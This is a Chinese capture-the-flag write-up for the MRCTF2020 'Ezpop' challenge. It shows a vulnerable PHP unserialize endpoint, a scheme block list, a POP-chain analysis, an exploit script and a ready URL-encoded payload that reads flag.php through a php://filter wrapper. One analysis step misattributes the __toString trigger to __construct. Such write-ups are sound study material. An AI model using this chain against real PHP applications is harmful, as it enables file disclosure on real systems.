[MRCTF2020]Ezpop

<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}

class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}

public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}

class Test{
public $p;
public function __construct(){
$this->p = array();
}

public function __get($key){
$function = $this->p;
return $function();
}
}

if(isset($_GET['pop'])){
@unserialize($_GET['pop']);
}
else{
$a=new Show;
highlight_file(__FILE__);
}


魔术函数介绍:

魔法函数:
__invoke():
当尝试以调用函数的方式调用一个对象时,__invoke() 方法会被自动调用。

__construct():
创建类对象时自动调用 当使用 new 操作符创建一个类的实例时,构造方法将会自动调用

__toString():
__toString()会在需要转成字符串时, 会隐式自动调用它, 在PHP内部. 这个也是来自JAVA的
当一个对象被当作一个字符串被调用。

__wakeup():
使用unserialize时触发

__get() 用于从不可访问的属性读取数据
#难以访问包括:(1)私有属性,(2)没有初始化的属性

分析:

1)通过get传递序列化Show对象参数$pop,此时会对$pop变量进行反序列化从而调用__wakeup()函数

2)可以看到类Show的函数__construct对变量$this->source进行echo输出,如果这里的变量$this->source为Show对象的话,那么就会调用函数_toString()

3)__toString函数返回了一个变量$this->str->soucre,此时类Test中存在__get函数,我们可以将$this->str赋值为一个Test对象,而Test类中并没有source这个变量,因此将会调用__get函数

4)类Modifier中存在__invoke函数,可以第三步中类Test的__get函数将this->p传递给$function并且return $function(),只要将$this->p赋值为一个Modifier对象,那么就会返回一个Modifier类对象的函数,将会调用Modifier类中的__invoke函数

5)__invoke函数调用了append函数,只要将变量$var的内容设为我们需要包含的文件伪协议读取命令就可以了

写脚本:

<?php
class Modifier {
protected $var="php://filter/read=convert.base64-encode/resource=flag.php";
}
class Show{
public $source;
public $str;
}
class Test{
public $p;
}

$a = new Show();
$b= new Show();
$a->source=$b;
$b->str=new Test();
($b->str)->p=new Modifier();
echo urlencode(serialize($a));
?>

得到:

O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BO%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BN%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A57%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php%22%3B%7D%7D%7Ds%3A3%3A%22str%22%3Bs%3A0%3A%22%22%3B%7D

得到flag的base64编码,解码得到flag